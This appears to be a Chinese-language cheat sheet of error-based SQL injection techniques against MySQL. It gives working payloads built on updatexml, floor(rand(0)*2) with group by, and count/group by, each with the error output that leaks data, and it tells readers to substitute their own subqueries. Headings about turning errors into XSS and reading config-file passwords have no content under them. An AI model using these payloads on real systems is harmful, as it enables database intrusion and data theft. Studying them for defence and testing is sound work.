mysql基于“报错”的注入

报错是如何转为xss的？

mysql语句在页面报错，泄露信息
=========================================================================================================================================================================
*	报错方式之“updatexml”，有字数限制，但无需配合union。
	-	mysql> select updatexml(1, concat(':', 'test'), 1);
			ERROR 1105 (HY000): XPATH syntax error: ':test'
	-	mysql> select updatexml(1, concat(0x3a, 'test'), 1);
			ERROR 1105 (HY000): XPATH syntax error: ':test'
	-	mysql> select updatexml(1, concat(0x5e, 'test'), 1);
			ERROR 1105 (HY000): XPATH syntax error: '^test'
	-	mysql>  select * from f_user where id=1 or 1=updatexml(1,concat(0x5e, 'test'),1);
			ERROR 1105 (HY000): XPATH syntax error: '^test'
	**	将上面‘test’换成你的子查询语句或函数均可。

*	group by+rand(0)+having，无字数限制，无需配合union。
	-	mysql>  select * from f_user where id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0);
			ERROR 1062 (23000): Duplicate entry '5.6.21-log~1' for key 'group_key'

*	报错方式之“rand+count+group by”，需配合union
	rand(0)无论在哪台机器运行多少次，生成的序列都是一样的
	参考mysql开发者社区曝光的bug http://bugs.mysql.com/bug.php?id=8652
	-	mysql>  select 1,2,count(*),concat('test', char(0x5e), floor(rand(0)*2))x from information_schema.tables group by x;
			ERROR 1062 (23000): Duplicate entry 'test^1' for key 'group_key'
	-	mysql>  select 1,2,count(*),concat('test', char(0x5e), left(rand(0),3))x from information_schema.tables group by x;
			ERROR 1062 (23000): Duplicate entry 'test^0.7' for key 'group_key'
	**	将上面‘test’换成你的子查询语句或函数均可。

mysql转xss语句

直接爆配置文件密码，前提是有file权限
